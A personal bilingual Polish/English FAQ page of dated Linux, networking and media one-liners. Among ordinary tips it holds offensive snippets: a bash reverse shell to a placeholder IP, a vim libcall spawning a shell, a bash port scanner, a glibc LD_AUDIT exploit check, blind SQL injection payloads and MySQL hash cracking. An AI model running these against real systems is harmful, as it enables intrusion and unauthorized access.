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slackware - pakiety

faq

public

art

FAQ... Ciagle zapominam... to tu rzucam...

.................

[2023.03.14]
[ENG] How to extract urls from URL (for example .js)?

curl -s https://adsfasdfasdfasdfasdfasdfa/fasdfasdf.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

[2021.10.07]
[ENG] How to grep specific phone number with regexp (when number could be in many formats)

grep -P "1[\s\.-]*2[\s\.-]*3[\s\.-]*4[\s\.-]*5[\s\.-]*6[\s\.-]*7[\s\.-]*8[\s\.-]*9" file
[Display/grep IP + User Agent from web logs]
awk -F' - |\\"' '{print $1, $7}' /path/to/file

[2015.11.11]
[ENG] How to disable vmware services on Linux

sudo update-rc.d -f vmware disable

[2015.01.28]
[ENG] burpsuite handshake alert: unrecognized_name - burp error SSL/TLS

java -Djsse.enableSNIExtension=false -jar burpsuite_pro_v1.6.09.jar

From: http://www.zjulian.com/mitigating-burp-suite-error-burpsuite-handshake-alert-unrecognized_name

[2014.10.30]
[ENG] metasploit (msfconsole) lib/active_support/dependencies.rb:251:in `require': cannot load such file -- robots (LoadError)

sudo chmod o+r /var/lib/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb (or run from root ;)

[2014.01.20]
[ENG] Grep All Email Addresses from a Text File Using Regular Expressions

grep -E -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" file.txt

[2013.07.22]
[ENG] sed in perl

perl -pe 's/>\s*</>\n</g'

[2012.06.27]
[ENG] Removed regexp action for klipper
[PL] Usuniete akcje regexp z aplikacji klipper

Regexp=^\\/.+\\.jpg$
Regexp=^https?://.
Regexp=^mailto:.
Regexp=^\\/.+\\.txt$
Regexp=^file:.
Regexp=^gopher:.
Regexp=^ftp://.

[2012.04.03]
[ENG] How to change password for mediawiki user from mysql?
[PL] Jak zmienić hasło dla użytkownika mediawiki w mysql?

UPDATE user SET user_password = MD5(CONCAT(user_id, '-', MD5('somepass'))) WHERE user_name = 'whatever';

[2012.04.02]
[ENG] How to print characters from a to zzz in perl?
[PL] Jak wyświetlić znaki od a do zzz za pomocą perl?

perl -le 'print join "\n", ("a".."zzz")'

[2012.03.11]
[ENG] How to install alpine with maildir patch for Debian?
[PL] Jak zainstalować alpine z Maildir dla systemu Debian?

wget ftp://ftp.cac.washington.edu/alpine/alpine.tar.gz
tar zxvf alpine.tar.gz
cd alpine-2.00/
wget http://patches.freeiz.com/alpine/patches/alpine-2.00/maildir.patch.gz
gunzip maildir.patch.gz
patch -p1 < maildir.patch
./configure
make

[2012.01.08]
[ENG] How to execute command from vim?
[PL] Jak uruchomić polecenie z aplikacji vim?

:call libcall("libc.so.6", "system", "/bin/sh -c echo pwned > /tmp/pwned")

[2011.12.11]
[ENG] How to print few arguments from end with awk
[PL] Jak wyświetlić kilka argumentów od końca z użyciem awk

awk '{print $(NF-2)}'

[2011.09.21]
[ENG] No space left on device: mod_rewrite: could not create rewrite_log_lock
[PL]

ipcs -s | grep www-data | perl -alne 'qx(ipcrm -s $F[1])'

[2011.04.26]
[ENG] Java in Opera from 10.5x dosnt work ?
[PL] Nie działa Java w Opera od wersji 10.5 ?

http://my.opera.com/ruario/blog/2010/06/18/java-still-not-working

[2011.04.21]
[ENG] How to monitor application write operation ?
[PL] Jak monitorować operacje zapisu w aplikacjach ?

echo 1 > /proc/sys/vm/block_dump
Watch the output of dmesg or /var/log/syslog|debug

[2011.02.25]
[ENG] How to check file system type ?
[PL] Jak sprawdzić rodzaj systemu plików?

file -Lkbs /dev/hda2
file -Lkbs /dev/hda

[2011.02.21]
[ENG] How to get all BGP prefixes for AS from RIPE??
[PL] Jak pobrać listę prefixów klas dla BGP dla danego numeru AS z RIPE?

whois -h filtergen.level3.net RIPE::AS5617
whois -h whois.radb.net '!gAS10310'

[2011.02.20]
[ENG] How to connect bash to another host without netcat?
[PL] Jak połączyć bash z innym hostem bez użycia netcat

bash -i >& /dev/tcp/123.123.123.123/5000 0>&1

[2011.02.08]
[ENG] How to compare (using diff) output from 2 commands?
[PL] Jak porównać z użyciem polecenia diff wynik z dwóch poleceń

diff <(echo b) <(echo bb)

[2010.12.16]
[ENG] How to run metasploit 3.5.1 for Slackware?
[PL] Jak uruchomić metasploit 3.5.1 w Slackware

Edit /opt/metasploit-3.5.1/apps/pro/ui/scripts/ctl.sh

Change line:
su - daemon -s /bin/sh -c

to:
su - daemon -c

in start_thin and stop_thin function
and change in /etc/passwd shell for user daemon from /bin/false to /bin/bash

[2010.11.30]
[ENG] How to change/set background to full size page in openoffice in writer?
[PL] Jak zmienić tło na całą stronę w openoffice w aplikacji writer

Do Format > Page > Page tab and set your page margins to say one-half inch all around. Go to the Border tab and set one with its color white and set Spacing to Contents to one-half inch which will give you an actual margin of 1 inch. Go to the Background tab and insert your graphic.

http://user.services.openoffice.org/en/forum/viewtopic.php?f=7&t=1958

[2010.11.19]
[ENG] String Manipulation and Expanding Variables in bash
[PL] Manipulacje ciągami znaków z użyciem rozszerzonych zmiennych w powłoce bash

http://www.cyberciti.biz/tips/bash-shell-parameter-substitution-2.html

${parameter:-defaultValue} Get default shell variables value
${parameter:=defaultValue} Set default shell variables value
${parameter:?"Error Message"} Display an error message if parameter is not set
${#var} Find the length of the string
${var%pattern} Remove from shortest rear (end) pattern
${var%%pattern} Remove from longest rear (end) pattern
${var:num1:num2} Substring
${var#pattern} Remove from shortest front pattern
${var##pattern} Remove from longest front pattern
${var/pattern/string} Find and replace (only replace first occurrence)
${var//pattern/string} Find and replace all occurrences

[2010.11.12]
[ENG] smb.conf for guest browsable directory share
[PL] smb.conf

[global]
workgroup = WORKGROUP
server string = sambos
security = share
name resolve order = hosts lmhosts

[s]
writable = yes
path = /tmp/s
public = yes
guest ok = yes
guest only = yes
guest account = nobody
browsable = yes

[2010.10.05]
[ENG] How to check glibc security bug with LD_AUDIT variable.
[PL] Jak sprawdzić błąd bezpieczeństwa w glibc ze zmienną LD_AUDIT.

umask 0 && LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/test" ping ; ls -l /etc/test

[2010.10.05]
[ENG] How to list partition for SNMP with snmpwalk.
[PL] Jak wylistować partycje dla SNMP z uzyciem snmpwalk

snmpwalk 127.0.0.1 -v2c -C public hrStorageDescr

[2010.10.04]
[ENG] ERROR: Description/Type table : Requested table is empty or does not exist.
[PL]

Upgrade Net-snmp on the agents from version 5.2.1 to 5.4.1.2

[2010.10.03]
[ENG] Find the top 10 of processes with the most files open.
[PL] Jak wyświetlić 10 procesów z największą liczbą otwartych plików.

lsof | awk '{printf("%s (%s)\n", $1, $2)}' | sort | uniq -c | sort -rn | head

[2010.09.23]
[ENG] How to sniff socket with strace - Linux
[PL] Jak podsłuchac socket z użyciem strace - Linux

strace -e trace=read,write -e read=$XX -e write=$XX -p $PID
XX - File descriptor / get from lsof command (column FD)
strace -e trace=read,write -e read=4u -e write=4u -p 2685

[2010.09.14]
[ENG] How to change keyboard shortcut for desktop switching in pager in KDE
[PL] Jak zmienić skrót klawiszowy do przełączania pulpitów w aplikacji pager w KDE?

System Settings / Keyboard / Global shortcut / Kwin / find ctrl+F1

[2010.09.14]
[ENG] How to automaticly maximize application/terminal in KDE
[PL] Jak automatycznie maksymalizować okno aplikacji/terminala w KDE?

Right click / Advanced / Special Application Settings (check Window Class) / Geometry - Maximized horizontally and vertically = Apply Initially and enable checkbox

[2010.07.02]
[ENG] How to configure HP F2420 with Slackware
[PL] Jak skonfigurować drukarkę HP f2420 w systemie Slackware

upgrade package: hplip to 3.9.10 or newer

[2010.07.02]
[ENG] How to run scanner (xsane) application from user from Slackware
[PL] Jak uruchomić aplikacje do skanowania (xsane) z użytkownika w Slackware

/etc/group - add Your login to groups: lp and scanner and relogin

[2010.05.21]
[ENG] How to copy DVD with growisofs. From Linux console
[PL] Jak skopiować płytę DVD z użyciem growisofs. W konsoli Linux

dd if=/dev/dvd of=./m.iso
growisofs -dvd-compat -Z /dev/cdr=m.iso

[2010.05.27]
[ENG] Hidden link for Axis camera with Macromedia Flash /just about 1 minute/
[PL] Ukryty link do kamery Axis z technologią Macromedia Flash

/axis-cgi/mjpg/video.swf
/axis-cgi/mjpg/video.swf?resolution=320x240&quality=high&starttime=500&fps=30&startlevel=1&level=1

[2010.05.06]
[ENG] How to check version of dns bind server - remote?
[PL] Jak sprawdzić wersję serwera dns bind - zdalnie?

host -t txt -c CHAOS version.bind. IP_ADDRESS

[2010.04.13]
[ENG] Fast, simple tcp scanner from bash
[PL] Szybki, prosty skaner tcp z powłoki bash

for ((i=1; $i < 65535; i++)); do (echo > /dev/tcp/192.168.1.1/$i) 2>/dev/null && echo $i open; done
[2010.04.13]
[ENG] How to decompiling Jar Files
[PL] Jak zdekompilować pliki Jar

unzip javatest3.jar
./jad -r -ff -s java javatest/SiteError.class Parsing javatest/SiteError.class... Generating SiteError.java

[2010.03.30]
[ENG] Questions if you want buy VPS
[PL] Pytania pomagające zakup VPSu

HDD, Przepływność, RAM, CPU itd. System operacyjny - co z aktualizacjami kernela, czy mozna zainstalowac swoj system od zera via CDrom po sieci
Technologia wirtualizacji - OpenVZ cwierc wirtualizacja, Xen - pol wirtualizacja, czy VMware - full wirtualizacja
Dodatkowe koszty za transfer, hdd, adres IP
Mozliwosc instalacji swojego kernela /dowolnego kernela (vmware)
Co sie dzieje po przekroczeniu limitu transferu
Cena netto/brutto?

[2010.03.30]
[ENG] How to copy files over network with tar and nc ?
[PL] Jak skopiować pliki po sieci z użyciem poleceń tar i nc ?

nc -p 5555 -l | tar xfpz -
tar zcfp - /dire/ctory | nc -w 3 1.2.3.4 5555

[2010.03.20]
[ENG] How to install Adobe Air on Slackware (13.0) and ?
[PL] Jak zainstalować Adobe Air na Slackware (13.0) i wypełnić zeznanie podatkowe pod Linuksem przez internet?

You will need: Acrobat Reader and Kwallet or GnomeKeyring http://kb2.adobe.com/cps/492/cpsid_49267.html

run: kwalletd
chmod +x AdbeRdr9.3.1-1_i486linux_enu.bin
/AdbeRdr9.3.1-1_i486linux_enu.bin
Enter installation directory for Adobe Reader 9.3.1 [/opt]
Installing platform independent files ... Done
Installing platform dependent files ... Done
Setting up libraries ... Done
Setting up desktop and menu icons ... Done
Setting up the browser plugin ... Done
/tmp]#cd /opt/
/opt]#mkdir air-sdk
/opt]#cd air-sdk/
/opt/air-sdk]#mv /tmp/AdobeAIRSDK.tbz2 .
/opt/air-sdk]#tar jxvf AdobeAIRSDK.tbz2
/opt/air-sdk]#cd ..
/opt]#mkdir air-apps
/opt]#mkdir air-apps/e_deklaracjedesktop
/opt]#cd air-apps/e_deklaracjedesktop/
/opt/air-apps/e_deklaracjedesktop]#wget http://e-deklaracje.gov.pl/files/dopobrania/e-dek/app/e-DeklaracjeDesktop.air
/opt/air-apps/e_deklaracjedesktop]#unzip e-DeklaracjeDesktop.air
/opt/air-apps/e_deklaracjedesktop]#ln -s /opt/Adobe/Reader9/bin/acroread .
RUN FROM USER!!!
/opt/air-apps/e_deklaracjedesktop$ /opt/air-sdk/bin/adl /opt/air-apps/e_deklaracjedesktop/META-INF/AIR/application.xml /opt/air-apps/e_deklaracjedesktop/
[2010.03.20]
[ENG] wpa_supplicant wpa2/psk configuration with hidden SSID ?
[PL] Konfiguracja wpa2/psk dla wpa_supplicant z ukrytym SSID ?

network={
scan_ssid=1
ssid="yourssidhere"
proto=WPA2
key_mgmt=WPA-PSK
pairwise=CCMP
group=CCMP
priority=10
psk=kl2lkj3lkj2lk6j2lk3jl2k3j4lk23j4yourkeyhere3j4lk2j3lk4j2l3k4j
}

[2010.02.04]
[ENG] Most popular netstat use
[PL] Popularne użycie polecenia netstat
netstat -nlptv

[2010.01.26]
[ENG] How to check if there is new mail from bash (if You use just pine + mbox ) ?
[PL] Jak sprawdzić czy jest nowa poczta z powłoki bash (jeśli używasz pine + mbox ) ?
if [ ! -z "`grep "Status: O" /var/mail/yourloginaccount -w`" ] ; then echo New_Mail ; fi
if [ "`echo quit | mail 2>/dev/null |grep "^>N"`" ] ; then echo New_Mail ; fi

[2010.01.05]
[ENG] How to split audio (sound) from video with mplayer ?
[PL] Jak wyciąć dźwięk z video z użyciem aplikacji mplayer ?
mplayer -vc null -vo null -ao pcm -benchmark mavideo.avi
mplayer -ao pcm file.mp4 -ao pcm:file=a.wav

[2010.01.04]
[ENG] How to merge audio (sound) and video with mplayer ?
[PL] Jak połączyć dźwięk i video z użyciem aplikacji mplayer ?
mencoder -audiofile audio.mp3 video.avi -o video_audio.avi -ovc copy -oac copy

[2009.12.21]
[ENG] How to play movie trailers from apple.com site with mplayer ?
[PL] Jak wyświetlić filmy ze strony apple.com z użyciem aplikacji mplayer ?
( Fix for: Win32 LoadLibrary failed to load: avisynth.dll error in older mplayer version) mplayer -user-agent "QuickTime/7.6.2" http://movies.apple.com/movies/wb/blabla/blabla-tlr2_h.480.mov
[2009.12.11]
[ENG] How to export x509 certificat to ascii text form ?
[PL] Jak wyeksportowac certyfikat x509 w formie ascii do pliku tekstowego ?
openssl x509 -in /etc/ssl/certs/test.pem -text

[2009.12.10]
[ENG] How to cut some seconds from movie ?
[PL] Jak wyciąc kilka sekund z filmu ?
mencoder -ss 00:00:40 -endpos 00:00:50

[2009.12.07]
[ENG] How to check sort option in imapd ?
[PL] Jak sprawdzić czy imapd obsługuje polecenie SORT ?
nc localhost 143
OK CAPABILITY

[2009.12.04]
[ENG] Most popular ucsniff usage
[PL] Najpopularniejsze użycie ucsniff
ucsniff -i eth0 // //

[2009.12.02]
[ENG] How to rewrite tcp/udp packets with another source and destination address ?
[PL] Jak przepisać pakiety tcp/udp ze zmienionym adresem źródłowym i docelowym ?
tcpreplay-edit --intf1=eth0 -S 0.0.0.0/0:192.168.5.5/32 -D 0.0.0.0/0:192.168.5.10/32 ./file.pcap

[2009.11.30]
[ENG] How create avi movie from .jpg with mencoder ?
[PL] Jak stworzyć film .avi z plików .jpg z użyciem mencoder ?
mencoder mf://*.jpg -ovc lavc -lavcopts vcodec=msmpeg4v2:vbitrate=3200 -o test.avi
try bigger vbitter for better quality

[2009.11.29]
[ENG] How to convert flac to mp3 files ?
[PL] Jak skonwertować plik flac do mp3 ?
for file in *.flac; do $(flac -cd "$file" | lame -h - -b 256 ./"${file%.flac}.mp3"); done
[2009.11.19]
[ENG] How to compile .c as a library ?
[PL] Jak skompilować program w .c jako bibliotekę ?
gcc -shared /tmp/libd.c -o /tmp/libd.so
or
gcc -fPIC -c test.c ; gcc -shared -o test.o

[2009.11.18]
[ENG] How to find and delete duplicate files ?
[PL] Jak znaleźć i usunąć duplikaty plików ?
Download FSlint - Run fslint-gui and press: Duplicates / Add (directory) / Find / Select within groups - Select all but first / Delete
[2009.11.17]
[ENG] How to change ethernet card order in PLD TH with udev ?
[PL] Jak zmienić kolejność kart sieciowych w PLD TH z użyciem udev ?
/etc/udev/rules.d/70-persistent-net.rules
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:01:aa:bb:cc:dd", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:02:aa:bb:ee:cc", ATTR{type}=="1", KERNEL=="eth*", NAME="eth1"

[2009.11.17]
[ENG] How to read details about device in Linux for udev ?
[PL] Jak odczytać szczegóły na temat urządzenia pod Linuksem dla udev ?
udevinfo -a -p $(udevinfo -q path -n /dev/hda)
udevinfo -a -p /sys/block/hda/

[2009.11.3]
[ENG] How to convert mp4 to mp3 with mplayer and lame ?
[PL] Jak przekonwertować mp4 do mp3 z użyciem mplayer i lame ?
mplayer -ao pcm file.mp4 -ao pcm:file=file.wav
lame -b 256 file.wav file.mp3

[2009.10.26]
[ENG] How to add polish dictionary for OpenOffice 3?
[PL] Jak dodać polski słownik w OpenOffice 3
Tools / Extension Manager / Add / .xlt
Restart openoffice
Tools / options / language settings / writing aids / available language modules - edit

[2009.09.04]
[ENG] How fast get data between two words in perl?
[PL] Jak szybko wybrać dane z pomiędzy dwóch wyrazów za pomocą perl?
perl -ne '$skip=1 if(m/^%PDF/); s:(</body>|</html>)\s*::;print if $skip == 1;' < tmpfile
(from broken .pdf file with HTML at bottom and at the end of file)

[2009.08.31]
[ENG] How to convert movie for vimeo via mencoder?
[PL] Jak przekonwertować film dla vimeo za pomocą mencoder?
mencoder -oac faac -faacopts br=256:quality=1000 -ovc lavc -lavcopts vcodec=mjpeg input.avi -o output.avi
mencoder -vf rotate=1 -oac copy -ovc lavc -lavcopts vcodec=mjpeg input.avi -o output.avi
(with rotate 90' and mirror)

[2009.08.10]
[ENG] How to record dvd video with growiso ?
[PL] Jak nagrać dvd video za pomocą growisofs ?
growisofs -Z /dev/cdr -V WC -dvd-video ./directory

[2009.08.03]
[ENG] Fast directory encryption with tar, openssl, dd ?
[PL] Szybkie szyfrowanie katalogu z tar, openssl, dd ?
tar -zcvf - smieci | openssl des3 -salt -k hasło | dd of=smieci.des3
dd if=smieci.des3 | openssl des3 -d -k hasło | tar zxvf -

[2009.07.29]
[ENG] Base64 decode with perl ?
[PL] Dekodowanie Base64 w perlu ?
echo Zm9vCg== | perl -MMIME::Base64 -ne 'print decode_base64($_)'

[2009.07.12]
[ENG] Basic configuration for microdc2 ?
[PL] Podstawowa konfiguracja dla microdc2 ?
set nick [xxxx]kaneda
set tag <++ V:0.674,M:P,H:5/25/4,S:3>
share /mnt/share
connect 10.0.0.1

[2009.06.14]
[ENG] How to automaticly rotate picture with EXIF data ?
[PL] Jak automatycznie obrócić zdjęcie wykorzystując dane EXIF ?
jhead -autorot *.jpg

[2009.05.29]
[ENG] How to display ESP protocol (from ipsec) in tcpdump ?
[PL] Jak wyświetlić protokół ESP (z ipsec) sniferze tcpdump ?
ip proto 50
ip proto ESP (LOWER CASE / Z DUŻYCH LITER)

[2009.04.29]
[ENG] How to install Adobe Air on Slackware (12.1) ?
[PL] Jak zainstalować Adobe Air na Slackware (12.1) ?
Download Adobe Air SDK - http://www.adobe.com/products/air/tools/sdk/
cd /opt/
mkdir air-sdk
cd air-sdk/
mv ~/AdobeAIRSDK.tbz2 .
tar jxvf AdobeAIRSDK.tbz2
cd ..
mkdir air-apps
wget http://bi.sciagnij.pl/0/0/e_deklaracjedesktop.air
mkdir air-apps/e_deklaracjedesktop
mv e_deklaracjedesktop.air air-apps/e_deklaracjedesktop/
cd air-apps/e_deklaracjedesktop/
unzip e_deklaracjedesktop.air

e_deklaracje wymagają zainstalowanego Adobe Readera więc dodatkowo warto zainstalować:
./AdbeRdr9.1.0-1_i486linux_enu.bin

Crashlog has been dumped in /tmp/airCrashLogs/xxxx_xxxx_xxxxxx

brakuje ścieżki do Adobe Readera - tymczasowo możesz rozwiązać to na ten sposób:

ln -s /opt/Adobe/Reader9/bin/acroread .

RUN:
/opt/air-sdk/bin/adl -nodebug /opt/air-apps/e_deklaracjedesktop/META-INF/AIR/application.xml /opt/air-apps/e_deklaracjedesktop/

[2009.04.20]
[ENG] How to find ip address class from ASN number ?
[PL] Jak odnaleźć klasy IP dla danego numeru ASN ?
whois -i org `whois AS12990 | grep organ | tail -n1 | awk -F : '{print $2}'` | grep inetnum

[2009.03.12]
[ENG] How to clean ascii code colors from file ?
[PL] Jak wyczyścić plik ze znaków ascii określających kolory ?
s/[\x1b\x1d]\[\d+(;\d+)?(;\d+)?[mHr]//g;

[2009.03.11]
[ENG] How to check what filesystem is on partition ?
[PL] Jak sprawdzić jaki posiadamy system plików na partycji ?
file -k -p -s /dev/hda1
cfdisk

[2009.02.17]
[ENG] How to disable CDP (Cisco Discovery Protocol) on 3com switch (4500) ?
[PL] Jak wyłączyć protokól CDP na switchu 3com (4500) ?
undo ndp enable

[2009.02.15]
[ENG] Most popular rsync usage via ssh ?
[PL] Najczęstsze użycie rsync za pomocą ssh ?
rsync --delete -avz -e ssh login@domain.pl:/home/user/dir/ ./dir

[2009.02.15]
[ENG] How to use dm-crypt to create partition in file ?
[PL] Jak użyć dm-crypt do stworzenia partycji z pliku ?

Create (once):

dd if=/dev/zero of=./file bs=1M count=3900 # (more will fail mkisofs)
losetup /dev/loop0 ./file
cryptsetup -c aes -h ripemd160 -y -b `blockdev --getsize /dev/loop0` create cryptvol1 /dev/loop0
mkfs.ext2 /dev/mapper/cryptvol1
mount /dev/mapper/cryptvol1 /mnt/tmp

Mount:
losetup /dev/loop0 ./file
cryptsetup -c aes -h ripemd160 -y -b `blockdev --getsize /dev/loop0` create cryptvol1 /dev/loop0
mount /dev/mapper/cryptvol1 /mnt/tmp

Umount:
umount /mnt/tmp
cryptsetup remove cryptvol1
losetup -d /dev/loop0

Or partition:
cryptsetup -c aes -h ripemd160 -y -b `blockdev --getsize /dev/hdb1` create cryptvol1 /dev/hdb1
mkfs.ext2 /dev/mapper/cryptvol1
mount /dev/mapper/cryptvol1 /mnt/crypt

[2009.02.04]
[ENG] How to automaticly create partition with fdisk ?
[PL] Jak automatycznie założyć partycję za pomocą fdisk ?
echo -e "d 1\nn\np\n1\n1\n\na\n1\nw\nq\n" | fdisk /dev/hdb

[2009.01.28]
[ENG] How to redir ports via ssh tunel ?
[PL] Jak przekierować porty za pomocą tunelu ssh ?
ssh login@domain.pl -R 11111:10.10.10.111:80 -R 11112:10.10.10.1112:80 -Cv2

[2009.01.15]
[ENG] How to display/list all letters in perl ?
[PL] Jak wyświetlić listę liter w perlu ?
perl -e 'print(chr($_)." ") foreach(97..122)'

[2008.12.15]
[ENG] How to change interface counter statistics on 3com 4500 switch ?
[PL] Jak zmienić licznik do statystyk interfejsu na switchu 3com 4500 ?
interface ethernet1/0/1
flow-interval 10

[2008.09.19]
[ENG] How to send NOOP in ssh client connection for keep connection?
[PL] Jak wysyłać pakiety NOOP w kliencie ssh w celu podtrzymania połączenia?
ssh -o ServerAliveInterval=120

[2008.09.09]
[ENG] How to print null byte from bash via perl (to file)?
[PL] Jak wyświetlić null byte z basha za pomocą perla (do pliku)?
perl -e 'print "a\x00b"' >> a.html

[2008.09.08]
[ENG] Z-Star Microelectronics Corp (Vega USB 2.0 Camera Vimicro Corp.) USB Camera with Linux Slackware ?
[PL] ?
Module: uvcvideo

[2008.08.05]
[ENG] How to convert IP to hash hex for tc filter?
[PL] Jak przekonwertować IP do hash hex dla tc filter?
IP_ADDR="192.168.1.1"
HEXIP=`printf '%02X' ${IP_ADDR//./ }`
tc filter show dev $ETH parent 1: | grep -iw $HEXIP -B1 | head -n1
tc filter show dev $ETH parent ffff: | grep -iw $HEXIP -B1 | head -n1

[2008.07.12]
[ENG] Simple blind sql injection with benchmark and union?
[PL] Prosty blind sql injection z benchmark i union?
select a from testtable where a=10 union select if(substring(@@version,1,1)=char(53),BENCHMARK(5000000,md5(1)),null);
select * from testtable where a=10 union select if(substring(@@version,1,1)=char(53),BENCHMARK(5000000,md5(1)),null),null,null,null,null;

[2008.06.17]
[ENG] How to edit SideBar in MediaWiki [1.3 SVN version]?
[PL] Jak edytować SideBar w MediaWiki [wersja 1.3 SVN]?
http://yoursite.com/mediawiki/index.php?title=MediaWiki:Sidebar
[EN] Press: Create
[PL] Wciśnij: Utwórz

[2008.06.16]
[ENG] How to create animated gif from images in Linux console?
[PL] Jak stworzyć animowany gif z obrazków pod konsolą w Linuksie?
convert -delay 50 -loop 0 *.jpg animation.gif

[2008.06.06]
[ENG] Mini rrdtool howto
[PL] Mini rrdtool howto
rrdtool dump file.rrd
rrdtool restore file.xml file.rrd
rrdtool graph ./file.png --start=-1m --end=0 --vertical-label Bits --title "Desc" --height=150 --width=683 --rigid --upper-limit=4000000 --lower-limit=0 --alt-autoscale-max --slope-mode DEF:kol1=./file.rrd:traffic_in:AVERAGE DEF:kol2=./file.rrd:traffic_out:AVERAGE COMMENT:" \n" CDEF:kol1bits=kol1,56,* CDEF:kol2bits=kol2,56,* COMMENT:" " AREA:kol1bits#AADD00:"Down" AREA:kol2bits#AAFF00:"Up" HRULE:1027826944#FF0000

[2008.06.06]
[ENG] How to build kernel on PLD?
[PL] Jak zbudować kernel na PLD?
(first, sometimes: cvs -z3 -d:pserver:cvs@cvs.pld-linux.org:/cvsroot co SPECS ; cvs -z3 -d:pserver:cvs@cvs.pld-linux.org:/cvsroot co packages )
cd rpm/SPECS/
cvs up kernel.spec
cvs status -v kernel.spec|grep 2.6.24
./builder -bb -v ./kernel.spec -r LINUX_2_6_24

[2008.05.23]
[ENG] How to convert .raw to .wav file from RTP protocol?
[PL] Jak przekonwertować plik .raw do .wav z protokołu RTP?
sox -c 1 -r 8000 -A -t raw file.raw file.wav
[2008.05.23]
[ENG] How to change site dynamicly via innerHTML?
[PL] Jak zmienić stronę dynamicznie za pomocą innerHTML ?
document.getElementById('divname').innerHTML = 'new_data';

[2008.05.11]
[ENG] How to convert movie for youtube via mencoder?
[PL] Jak przekonwertować film dla youtube za pomocą mencoder?
mencoder ./movie.mov -oac pcm -o test.avi -ovc lavc -lavcopts vcodec=msmpeg4v2:vbitrate=3200

[2008.05.11]
[ENG] How to dont numerate page on first page in OpenOffice?
[PL] Jak nie numerować pierwszej strony w OpenOffice?
"prawym na 1 stronie -> akapit -> przepływ tekstu -> zaznaczyć 'podział' i 'ze stylem strony' typ: 'strona' a pod spodem 'pierwsza strona' potem na drugiej stronie wstawia się stopkę (domyślną) i nr oczywiście na gotowym dok też to działa"
pozniej w fornym menu WSTAW-> STOPKA i dla pierwszej strony wybieramy FIRST PAGE a dla reszty DEFAULT i wstawiamy odpowiednio juz normalnie numeracje
[2008.05.02]
[ENG] Most useful date command use
[PL] Najpopularniejsze użycie komendy date
date +'%Y%m%d-%H%M'

[2008.04.25]
[ENG] Count commands from history in bash. [http://planet.pplug.e-poz.net/]
history | awk '{a[$2]++ } END{for(i in a){print a[i] " " i}}'|sort -rn|head
[2008.03.19]
[ENG] Attempting to create a too large file system
[ENG] mkfs.vfat, slackware
mkdosfs -F 32 /dev/hdx

[2008.03.05]
[ENG] How to rebuild rpm database in PLD ?
[PL] Jak przebudować bazę rpm w PLD ?
cp -r /var/lib/rpm /root/ #backup
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb

[2008.02.28]
[ENG] How to add new window manager in KDM ?
[PL] Jak dodać nowego window managera do KDM ?
Create config file in:
/usr/share/apps/kdm/sessions/

[2008.02.04]
[ENG] How to disable ctrl+alt+backspace for reset X window ?
[PL] Jak wyłączyć możliwość resetowania X window za pomoca ctrl+alt+backspace ?
Add to X config file [xorg.conf]:
Section "Serverflags"
Option "DontZap" "yes"
EndSection

[2008.01.21]
[ENG] How to speedup [faster loading] kernel loading from lilo ?
[PL] Jak przyśpieszyć ładowanie kernela z lilo ?
compact

[2008.01.07]
[ENG] How to segregate/move many files to directories (from one directory) ?
[PL] Jak posegregować/przesunąć dużą ilość plików (z jednym katalogu) ?
H=`/bin/ls | wc -l`
for i in `seq 1000 1000 $H`; do mkdir $i ; for plik in `head -n$i /tmp/lista|tail -n1000` ; do mv "$plik" $i ; done ; echo $i; done

[2008.01.04]
[ENG] How to clear interface counter on 3com 4500 switch ?
[PL] Jak wyczyścić liczniki interfejsu na switchu 3com 4500 ?
reset counter interface ethernet1/0/1
[ENG] How to unblock telnet access? [after auto switch block]
[PL] Jak odblokować dostęp via telnet? [po zablokowaniu przez switch]
reset password-control blacklist
reset password-control history-record
[ENG] How to increase number of screen lines without scroll on 3com 4500 switch ?
[PL] Jak zwiększyć ilość linii na ekranie bez przewijania na switchu 3com 4500 ?
Serial connection:
[4500]user-interface aux 0 7
[4500-ui-aux0-7]screen-length 500

Telnet connection:
[4500]user-interface vty 0 4
[4500-ui-vty0-4]screen-length 500
[ENG] How to disable dhcp client on 3com 4500 switch ?
[PL] Jak wyłączyć dhcp klienta na switchu 3com 4500 ?
[4500]int Vlan-interface 1
[4500-Vlan-interface1]undo ip address dhcp-alloc

[2007.12.14]
[ENG] How to disable TRACE method in Apache ?
[PL] Jak wyłączyć metodę TRACE w Apache ?
Version [version]:
>= 1.3.34
>= 2.0.55
TraceEnable Off

[2007.12.14]
[ENG] How to export/extract attachment from mbox ?
[PL] Jak wyeksportować załączniki z pliku mbox ?

$ls mbox2maildir [google for that] nep2 [mbox] nep3 [mbox] #!/bin/bash for i in `seq 2 3`; do ./mbox2maildir ./nep${i} ./$i mv ./$i/cur/* ./$i/new/ for ii in `find ./$i -type f`; do cat $ii|metamail -x -w ; done rm -rf $i done echo "Results in files in /tmp/"

[2007.12.13]
[ENG] How to check if domain is cached in dns ?
[PL] Jak sprawdzic czy domena jest w cache dns ?
dig @dns.atman.pl kaneda.bohater.net A +norecurse|grep "ANSWER:"
ANSWER = 0 -> not cached [nie ma w cache]

[2007.12.10]
[ENG] How compile just few kernel modules ?
[PL] Jak skompilować kilka modułow kernela ?
make modules SUBDIRS=drivers/char/tpm
make modules_install SUBDIRS=drivers/char/tpm

[2007.11.02]
[ENG] How to cut characters in php [with whitelist] ?
[PL] Jak wyciąć znaki w php [z białą listą] ?
preg_replace("/[^a-zA-Z-_.]/", "", $string);
^ - NOT

[2007.10.02]
[ENG] How we can generate (and crack) mysql [ => 4.1 version] passwords ?
[PL] Jak możemy wygenerowac (i zcrackować) hasło mysql [wersji => 4.1] ?
#!/usr/bin/perl
use strict;
use vars qw($VERSION @ISA @EXPORT_OK);
use Digest::SHA1 qw(sha1 sha1_hex);
print uc(sha1_hex(sha1('password')));

or From Cpan: Crypt::MySQL - emulate MySQL PASSWORD() function.

[2007.10.02]
[ENG] How to run Java .jar file ?
[PL] Jak uruchomić plik Java .jar ?
java -jar ./file.jar

[2007.09.18]
[ENG] How to add a nice menu to the screen?
[PL] Jak dodać przyjazne menu do screen'a?
Put this line to /etc/screenrc or ~/.screenrc
